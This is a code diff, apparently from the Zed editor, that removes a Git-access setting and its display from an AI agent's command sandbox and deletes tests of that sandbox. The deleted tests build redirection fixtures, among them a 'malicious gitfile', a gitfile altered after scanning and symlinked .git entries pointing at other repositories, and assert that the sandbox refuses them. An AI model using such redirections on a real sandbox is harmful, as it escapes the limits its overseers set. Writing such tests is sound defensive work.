-    use super::*;
-    use fs::Fs;
-
-    #[gpui::test]
-    async fn test_sandbox_paths_protect_git_paths_until_git_access_is_allowed(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/main_repo",
-            serde_json::json!({
-                ".git": {},
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.add_linked_worktree_for_repo(
-            Path::new("/main_repo/.git"),
-            false,
-            git::repository::Worktree {
-                path: PathBuf::from("/linked_worktree"),
-                ref_name: Some("refs/heads/feature".into()),
-                sha: "abc123".into(),
-                is_main: false,
-                is_bare: false,
-            },
-        )
-        .await;
-        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
-            .await
-            .expect("linked worktree file should be written");
-
-        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_without_git_access = sandbox_git_paths(candidates, fs.as_ref(), false).await;
-
-        assert!(
-            paths_without_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree"))
-        );
-        assert!(
-            paths_without_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            !paths_without_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/linked_worktree/.gitignore"))
-        );
-        assert!(
-            paths_without_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git"))
-        );
-        assert!(
-            paths_without_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
-        );
-
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_grant_git_access_when_non_git_folder_is_present(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/repo",
-            serde_json::json!({
-                ".git": {},
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        // A plain folder opened alongside the repo. Its `<root>/.git` placeholder
-        // never corresponds to a repository, so it must not block the grant for
-        // the real repo.
-        fs.insert_tree("/notes", serde_json::json!({ "todo.txt": "hi" }))
-            .await;
-
-        let project =
-            project::Project::test(fs.clone(), [Path::new("/repo"), Path::new("/notes")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/repo/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/notes"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_allow_submodule_gitdir_without_commondir(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/super",
-            serde_json::json!({
-                ".git": {
-                    "modules": {
-                        "sub": {
-                            "HEAD": "ref: refs/heads/main",
-                            "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = ../../../sub\n"
-                        }
-                    }
-                },
-                "sub": {
-                    ".git": "gitdir: ../.git/modules/sub",
-                    "file.txt": "content"
-                }
-            }),
-        )
-        .await;
-
-        let project = project::Project::test(fs.clone(), [Path::new("/super/sub")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/super/sub"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/super/sub/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/super/.git/modules/sub"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_submodule_gitdir_without_back_reference(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/super",
-            serde_json::json!({
-                ".git": {
-                    "modules": {
-                        "sub": {
-                            "HEAD": "ref: refs/heads/main",
-                            "config": "[core]\n\trepositoryformatversion = 0\n"
-                        }
-                    }
-                },
-                "sub": {
-                    ".git": "gitdir: ../.git/modules/sub",
-                    "file.txt": "content"
-                }
-            }),
-        )
-        .await;
-
-        let project = project::Project::test(fs.clone(), [Path::new("/super/sub")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/super/sub/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/super/.git/modules/sub"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/super/.git/modules/sub"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_submodule_gitfile_to_unrelated_gitdir(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            serde_json::json!({
-                "sub": {
-                    ".git": "gitdir: /other_repo/.git",
-                    "file.txt": "content"
-                }
-            }),
-        )
-        .await;
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                ".git": {
-                    "HEAD": "ref: refs/heads/main",
-                    "config": "[core]\n\trepositoryformatversion = 0\n"
-                }
-            }),
-        )
-        .await;
-
-        let project = project::Project::test(fs.clone(), [Path::new("/project/sub")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/project/sub/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_follow_gitfile_changed_after_scan(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/main_repo",
-            serde_json::json!({
-                ".git": {},
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.add_linked_worktree_for_repo(
-            Path::new("/main_repo/.git"),
-            false,
-            git::repository::Worktree {
-                path: PathBuf::from("/linked_worktree"),
-                ref_name: Some("refs/heads/feature".into()),
-                sha: "abc123".into(),
-                is_main: false,
-                is_bare: false,
-            },
-        )
-        .await;
-        fs.write(Path::new("/linked_worktree/file.txt"), b"content")
-            .await
-            .expect("linked worktree file should be written");
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                ".git": {
-                    "worktrees": {
-                        "other": {
-                            "HEAD": "ref: refs/heads/other",
-                            "commondir": "/other_repo/.git",
-                            "gitdir": "/other_worktree/.git"
-                        }
-                    }
-                }
-            }),
-        )
-        .await;
-
-        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
-        fs.write(
-            Path::new("/linked_worktree/.git"),
-            b"gitdir: /other_repo/.git/worktrees/other",
-        )
-        .await
-        .expect("mutated gitfile should be written");
-
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/main_repo/.git/worktrees/feature"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_unverified_worktree_gitdir(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/main_repo",
-            serde_json::json!({
-                ".git": {},
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.add_linked_worktree_for_repo(
-            Path::new("/main_repo/.git"),
-            false,
-            git::repository::Worktree {
-                path: PathBuf::from("/linked_worktree"),
-                ref_name: Some("refs/heads/feature".into()),
-                sha: "abc123".into(),
-                is_main: false,
-                is_bare: false,
-            },
-        )
-        .await;
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                ".git": {
-                    "worktrees": {
-                        "other": {
-                            "HEAD": "ref: refs/heads/other",
-                            "commondir": "/other_repo/.git",
-                            "gitdir": "/other_worktree/.git"
-                        }
-                    }
-                }
-            }),
-        )
-        .await;
-        fs.write(
-            Path::new("/linked_worktree/.git"),
-            b"gitdir: /other_repo/.git/worktrees/other",
-        )
-        .await
-        .expect("malicious gitfile should be written");
-
-        let project = project::Project::test(fs.clone(), [Path::new("/linked_worktree")], cx).await;
-        let candidates =
-            cx.update(|cx| SandboxGitPathCandidates::from_project(project.read(cx), cx));
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/linked_worktree"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/linked_worktree/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/.git/worktrees/other"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_symlinked_dot_git(cx: &mut gpui::TestAppContext) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            serde_json::json!({
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                ".git": {}
-            }),
-        )
-        .await;
-        fs.insert_symlink(
-            Path::new("/project/.git"),
-            PathBuf::from("/other_repo/.git"),
-        )
-        .await;
-
-        let candidates = SandboxGitPathCandidates {
-            writable_paths: vec![PathBuf::from("/project")],
-            git_paths: vec![
-                PathBuf::from("/project/.git"),
-                PathBuf::from("/other_repo/.git"),
-            ],
-            repositories: vec![SandboxGitRepositoryPaths {
-                work_directory_abs_path: PathBuf::from("/project"),
-                dot_git_abs_path: PathBuf::from("/project/.git"),
-                repository_dir_abs_path: PathBuf::from("/other_repo/.git"),
-                common_dir_abs_path: PathBuf::from("/other_repo/.git"),
-            }],
-        };
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/project/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_symlinked_dot_git_file(cx: &mut gpui::TestAppContext) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            serde_json::json!({
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                "gitfile": "gitdir: /other_repo/.git",
-                ".git": {
-                    "HEAD": "ref: refs/heads/main",
-                    "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = /project\n"
-                }
-            }),
-        )
-        .await;
-        fs.insert_symlink(
-            Path::new("/project/.git"),
-            PathBuf::from("/other_repo/gitfile"),
-        )
-        .await;
-
-        let candidates = SandboxGitPathCandidates {
-            writable_paths: vec![PathBuf::from("/project")],
-            git_paths: vec![
-                PathBuf::from("/project/.git"),
-                PathBuf::from("/other_repo/.git"),
-            ],
-            repositories: vec![SandboxGitRepositoryPaths {
-                work_directory_abs_path: PathBuf::from("/project"),
-                dot_git_abs_path: PathBuf::from("/project/.git"),
-                repository_dir_abs_path: PathBuf::from("/other_repo/.git"),
-                common_dir_abs_path: PathBuf::from("/other_repo/.git"),
-            }],
-        };
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/project/.git"))
-        );
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-    }
-
-    #[gpui::test]
-    async fn test_sandbox_paths_do_not_grant_gitfile_to_symlinked_gitdir(
-        cx: &mut gpui::TestAppContext,
-    ) {
-        crate::tests::init_test(cx);
-
-        let fs = fs::FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/project",
-            serde_json::json!({
-                ".git": "gitdir: /other_repo/gitdir_link",
-                "file.txt": "content",
-            }),
-        )
-        .await;
-        fs.insert_tree(
-            "/other_repo",
-            serde_json::json!({
-                ".git": {
-                    "HEAD": "ref: refs/heads/main",
-                    "config": "[core]\n\trepositoryformatversion = 0\n\tworktree = /project\n"
-                }
-            }),
-        )
-        .await;
-        fs.insert_symlink(
-            Path::new("/other_repo/gitdir_link"),
-            PathBuf::from("/other_repo/.git"),
-        )
-        .await;
-
-        let candidates = SandboxGitPathCandidates {
-            writable_paths: vec![PathBuf::from("/project")],
-            git_paths: vec![
-                PathBuf::from("/project/.git"),
-                PathBuf::from("/other_repo/gitdir_link"),
-                PathBuf::from("/other_repo/.git"),
-            ],
-            repositories: vec![SandboxGitRepositoryPaths {
-                work_directory_abs_path: PathBuf::from("/project"),
-                dot_git_abs_path: PathBuf::from("/project/.git"),
-                repository_dir_abs_path: PathBuf::from("/other_repo/gitdir_link"),
-                common_dir_abs_path: PathBuf::from("/other_repo/gitdir_link"),
-            }],
-        };
-        let paths_with_git_access = sandbox_git_paths(candidates, fs.as_ref(), true).await;
-
-        assert!(!paths_with_git_access.allow_git_access);
-        assert!(
-            paths_with_git_access
-                .git_dirs
-                .contains(&PathBuf::from("/other_repo/gitdir_link"))
-        );
-        assert!(
-            !paths_with_git_access
-                .writable_paths
-                .contains(&PathBuf::from("/other_repo/.git"))
-        );
-    }
-
-    #[test]
-    fn test_parse_core_worktree_accepts_simple_and_quoted_values() {
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = ../../../sub\n"),
-            Some("../../../sub".to_string())
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = \"../../../sub with spaces\"\n"),
-            Some("../../../sub with spaces".to_string())
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = \"C:/Users/Test/project/sub\"\n"),
-            Some("C:/Users/Test/project/sub".to_string())
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = \"C:\\\\Users\\\\Test\\\\project\\\\sub\"\n"),
-            Some("C:\\Users\\Test\\project\\sub".to_string())
-        );
-    }
-
-    #[test]
-    fn test_parse_core_worktree_rejects_ambiguous_or_unsupported_config() {
-        assert_eq!(parse_core_worktree("[core]\n\tworktree =\n"), None);
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = ../../../sub\n\tworktree = ../../../other\n"),
-            None
-        );
-        assert_eq!(parse_core_worktree("worktree = ../../../sub\n"), None);
-        assert_eq!(
-            parse_core_worktree(
-                "[include]\n\tpath = ../config\n[core]\n\tworktree = ../../../sub\n"
-            ),
-            None
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = \"../../../sub\" trailing\n"),
-            None
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = \"../../../sub\n"),
-            None
-        );
-        assert_eq!(
-            parse_core_worktree("[core]\n\tworktree = ../../../sub\\\n"),
-            None
-        );
-        assert_eq!(parse_core_worktree("[core]\n\tworktree = ~/sub\n"), None);
-    }
-}
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index 037307e54eb5b5..5d884e8a6ce47e 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -422,8 +422,6 @@ pub struct SandboxPermissions {
     /// hostnames or leading-`*.` subdomain wildcards). Parsed/validated where
     /// consumed (`agent::sandboxing`).
     pub network_hosts: Vec<String>,
-    /// Allow sandboxed commands to access protected Git metadata paths.
-    pub allow_git_access: bool,
     pub allow_fs_write_all: bool,
     /// Persistently run agent terminal commands outside the OS sandbox. This is
     /// the model-facing "off switch": when set, the sandboxed terminal tool is
@@ -820,7 +818,6 @@ fn compile_sandbox_permissions(
     SandboxPermissions {
         allow_all_hosts: content.allow_all_hosts.unwrap_or(false),
         network_hosts,
-        allow_git_access: content.allow_git_access.unwrap_or(false),
         allow_fs_write_all: content.allow_fs_write_all.unwrap_or(false),
         allow_unsandboxed: content.allow_unsandboxed.unwrap_or(false),
         write_paths,
@@ -1108,7 +1105,6 @@ mod tests {
         let json = json!({
             "allow_all_hosts": true,
             "network_hosts": ["github.com", "*.npmjs.org"],
-            "allow_git_access": true,
             "allow_unsandboxed": true,
             "write_paths": [
                 "/tmp/build/cache",
@@ -1125,7 +1121,6 @@ mod tests {
             permissions.network_hosts,
             vec!["github.com".to_string(), "*.npmjs.org".to_string()]
         );
-        assert!(permissions.allow_git_access);
         assert!(!permissions.allow_fs_write_all);
         assert!(permissions.allow_unsandboxed);
         assert_eq!(
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 8720ff145c02d7..fc0f5b96a580ce 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -21,7 +21,7 @@ use agent_skills::MAX_SKILL_DESCRIPTION_LEN;
 use cloud_api_types::{SubmitAgentThreadFeedbackBody, SubmitAgentThreadFeedbackCommentsBody};
 use editor::actions::OpenExcerpts;
 use feature_flags::{AcpBetaFeatureFlag, FeatureFlagAppExt as _};
-use sandbox::{GitSandboxPolicy, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
+use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
 use crate::completion_provider::AvailableSkill;
 use crate::message_editor::SharedSessionCapabilities;
@@ -5788,7 +5788,6 @@ impl Render for TokenUsageTooltip {
 struct SandboxPolicyDisplay {
     fs: SandboxFsDisplay,
     network: SandboxNetPolicy,
-    git: SandboxGitDisplay,
 }
 
 /// The filesystem write-access portion of a [`SandboxPolicyDisplay`].
@@ -5810,22 +5809,14 @@ enum WritableEntryDisplay {
     IsolatedTmp,
 }
 
-/// The Git-access portion of a [`SandboxPolicyDisplay`]: whether `.git` writes
-/// are granted, and the (display-only) `.git` directories the policy governs.
-#[derive(Clone)]
-struct SandboxGitDisplay {
-    allowed: bool,
-    git_dirs: Vec<String>,
-}
-
 impl SandboxPolicyDisplay {
     /// Display a policy verbatim (used for the per-thread overrides, which carry
     /// no implicit baseline grants). Takes the policy by reference and stringifies
     /// its locations immediately, so no fd is retained past this call.
     fn from_policy(policy: &SandboxPolicy) -> Self {
         let fs = match &policy.fs {
-            SandboxFsPolicy::Unrestricted => SandboxFsDisplay::Unrestricted,
-            SandboxFsPolicy::Restricted { writable_paths } => SandboxFsDisplay::Restricted(
+            SandboxFsPolicy::Unrestricted { .. } => SandboxFsDisplay::Unrestricted,
+            SandboxFsPolicy::Restricted { writable_paths, .. } => SandboxFsDisplay::Restricted(
                 writable_paths
                     .iter()
                     .map(|location| {
@@ -5837,21 +5828,6 @@ impl SandboxPolicyDisplay {
         SandboxPolicyDisplay {
             fs,
             network: policy.network.clone(),
-            git: SandboxGitDisplay::from_policy(&policy.git),
-        }
-    }
-}
-
-impl SandboxGitDisplay {
-    /// Stringify a Git policy's `.git` directories for display, retaining no fds.
-    fn from_policy(git: &GitSandboxPolicy) -> Self {
-        SandboxGitDisplay {
-            allowed: git.allows_writes(),
-            git_dirs: git
-                .git_dirs()
-                .iter()
-                .map(|location| location.untrusted_path_display().to_string())
-                .collect(),
         }
     }
 }
@@ -5868,8 +5844,8 @@ fn augment_settings_sandbox_policy(
     baseline: Vec<PathBuf>,
 ) -> SandboxPolicyDisplay {
     let fs = match &policy.fs {
-        SandboxFsPolicy::Unrestricted => SandboxFsDisplay::Unrestricted,
-        SandboxFsPolicy::Restricted { writable_paths } => {
+        SandboxFsPolicy::Unrestricted { .. } => SandboxFsDisplay::Unrestricted,
+        SandboxFsPolicy::Restricted { writable_paths, .. } => {
             // Dedup by display string. We deliberately don't open the locations'
             // fds to dedup by inode here: this is a display-only tooltip and the
             // string is the location's identity for that purpose. The string can
@@ -5904,15 +5880,12 @@ fn augment_settings_sandbox_policy(
     SandboxPolicyDisplay {
         fs,
         network: policy.network.clone(),
-        git: SandboxGitDisplay::from_policy(&policy.git),
     }
 }
 
 fn sandbox_section(title: &str, policy: &SandboxPolicyDisplay, show_empty: bool) -> SandboxSection {
     let write_empty = fs_grants_nothing(&policy.fs);
     let network_empty = network_grants_nothing(&policy.network);
-    let git_empty = git_grants_nothing(&policy.git);
-
     let mut section = SandboxSection::new(title.to_string());
 
     if show_empty || !write_empty {
@@ -5925,40 +5898,13 @@ fn sandbox_section(title: &str, policy: &SandboxPolicyDisplay, show_empty: bool)
             .group(SandboxGroup::new("Network Access").rows(sandbox_network_rows(&policy.network)));
     }
 
-    if !git_empty {
-        section = section
-            .group(SandboxGroup::new("Git Metadata Access").rows(sandbox_git_rows(&policy.git)));
-    }
-
     section
 }
 
 /// Whether a policy grants nothing worth surfacing, used to decide whether to
 /// show the per-thread overrides section at all.
 fn sandbox_policy_grants_nothing(policy: &SandboxPolicyDisplay) -> bool {
-    fs_grants_nothing(&policy.fs)
-        && network_grants_nothing(&policy.network)
-        && git_grants_nothing(&policy.git)
-}
-
-/// Git access grants nothing to surface unless `.git` writes are allowed *and*
-/// at least one `.git` directory is known.
-fn git_grants_nothing(git: &SandboxGitDisplay) -> bool {
-    !git.allowed || git.git_dirs.is_empty()
-}
-
-/// Rows for the Git-access group: one row per writable `.git` directory (these
-/// may live outside the project for a linked worktree).
-fn sandbox_git_rows(git: &SandboxGitDisplay) -> Vec<SandboxRow> {
-    if !git.allowed {
-        return Vec::new();
-    }
-    git.git_dirs
-        .iter()
-        // The display string was captured up front; reconstruct a throwaway path
-        // here purely to render a label + icon (never used as an identity).
-        .map(|dir| SandboxRow::git(PathBuf::from(dir)))
-        .collect()
+    fs_grants_nothing(&policy.fs) && network_grants_nothing(&policy.network)
 }
 
 fn fs_grants_nothing(fs: &SandboxFsDisplay) -> bool {
@@ -5977,14 +5923,16 @@ fn network_grants_nothing(network: &SandboxNetPolicy) -> bool {
 /// row per granted path.
 fn sandbox_fs_rows(fs: &SandboxFsDisplay) -> Vec<SandboxRow> {
     match fs {
-        SandboxFsDisplay::Unrestricted => vec![SandboxRow::message("All paths (unrestricted)")],
+        SandboxFsDisplay::Unrestricted => vec![SandboxRow::message(
+            "All paths except protected Git metadata",
+        )],
         SandboxFsDisplay::Restricted(entries) if entries.is_empty() => {
             vec![SandboxRow::message("None")]
         }
         SandboxFsDisplay::Restricted(entries) => entries
             .iter()
             .map(|entry| match entry {
-                // The display string was captured up front; see `sandbox_git_rows`.
+                // The display string was captured up front.
                 WritableEntryDisplay::Path(path) => SandboxRow::path(PathBuf::from(path)),
                 #[cfg(target_os = "linux")]
                 WritableEntryDisplay::IsolatedTmp => {
@@ -8592,12 +8540,7 @@ impl ThreadView {
     ) -> AnyElement {
         let has_network = details.network_all_hosts || !details.network_hosts.is_empty();
         let has_write = details.allow_fs_write_all || !details.write_paths.is_empty();
-        if !has_network
-            && !has_write
-            && !details.allow_git_access
-            && !details.unsandboxed
-            && details.reason.is_empty()
-        {
+        if !has_network && !has_write && !details.unsandboxed && details.reason.is_empty() {
             return Empty.into_any_element();
         }
 
@@ -8701,7 +8644,7 @@ impl ThreadView {
 
         let write_section = has_write.then(|| {
             let summary = if details.allow_fs_write_all {
-                "unrestricted".to_string()
+                "unrestricted except Git metadata".to_string()
             } else {
                 format!(
                     "{} {}",
@@ -8809,23 +8752,6 @@ impl ThreadView {
                 )
         });
 
-        let git_access_section = details.allow_git_access.then(|| {
-            v_flex().px_2().py_1().gap_0p5().child(
-                h_flex()
-                    .gap_1()
-                    .child(
-                        Icon::new(IconName::GitBranch)
-                            .color(Color::Muted)
-                            .size(IconSize::Small),
-                    )
-                    .child(
-                        Label::new("Git metadata access")
-                            .size(LabelSize::Small)
-                            .color(Color::Muted),
-                    ),
-            )
-        });
-
         let reason_section = (!details.reason.is_empty()).then(|| {
             v_flex()
                 .px_2()
@@ -8845,7 +8771,6 @@ impl ThreadView {
         v_flex()
             .border_t_1()
             .border_color(self.tool_card_border_color(cx))
-            .children(git_access_section)
             .children(network_section)
             .children(write_section)
             .children(unsandboxed_section)
diff --git a/crates/agent_ui/src/ui/sandbox_status_tooltip.rs b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
index 089492bca9573b..059c9dd0837e9a 100644
--- a/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
+++ b/crates/agent_ui/src/ui/sandbox_status_tooltip.rs
@@ -8,7 +8,6 @@ use ui::{Divider, prelude::*};
 pub enum SandboxRow {
     Message(SharedString),
     Path(PathBuf),
-    Git(PathBuf),
     Domain(SharedString),
 }
 
@@ -21,10 +20,6 @@ impl SandboxRow {
         Self::Path(path.into())
     }
 
-    pub fn git(path: impl Into<PathBuf>) -> Self {
-        Self::Git(path.into())
-    }
-
     pub fn domain(domain: impl Into<SharedString>) -> Self {
         Self::Domain(domain.into())
     }
@@ -53,7 +48,6 @@ impl SandboxRow {
                     .unwrap_or_else(|| icon_basic(IconName::Folder));
                 (icon, path.display().to_string())
             }
-            SandboxRow::Git(path) => (icon_basic(IconName::GitBranch), path.display().to_string()),
             SandboxRow::Domain(domain) => (icon_basic(IconName::Public), domain.to_string()),
         };
 
@@ -234,17 +228,12 @@ impl Component for SandboxStatusTooltip {
             .group(
                 SandboxGroup::new("Write Access").row(SandboxRow::path("/Users/you/project/build")),
             )
-            .group(SandboxGroup::new("Network Access").row(SandboxRow::message("None")))
-            .group(
-                SandboxGroup::new("Git Metadata Access")
-                    .row(SandboxRow::git("/Users/you/project/.git")),
-            );
+            .group(SandboxGroup::new("Network Access").row(SandboxRow::message("None")));
 
         let unrestricted_section = SandboxSection::new("Defined in your settings:")
-            .group(
-                SandboxGroup::new("Write Access")
-                    .row(SandboxRow::message("All paths (unrestricted)")),
-            )
+            .group(SandboxGroup::new("Write Access").row(SandboxRow::message(
+                "All paths except protected Git metadata",
+            )))
             .group(
                 SandboxGroup::new("Network Access")
                     .row(SandboxRow::message("All domains (unrestricted)")),
diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md
index d26bbedd2016c1..ab23ecad891a83 100644
--- a/crates/sandbox/README.md
+++ b/crates/sandbox/README.md
@@ -8,7 +8,7 @@ This crate allows creating a `Sandbox` according to some `SandboxPolicy`. A
 `SandboxPolicy` expresses:
 - what filesystem operations are allowed
 - which kinds of networking operations are allowed
-- whether git metadata is protected
+- which paths stay protected even under writable subtrees
 
 Once you have a `Sandbox`, you can use it to run commands that are constrained
 by that policy.
@@ -28,9 +28,9 @@ against attacks. An attacker with read/write access to the current directory can
 
 This can be mitigated by:
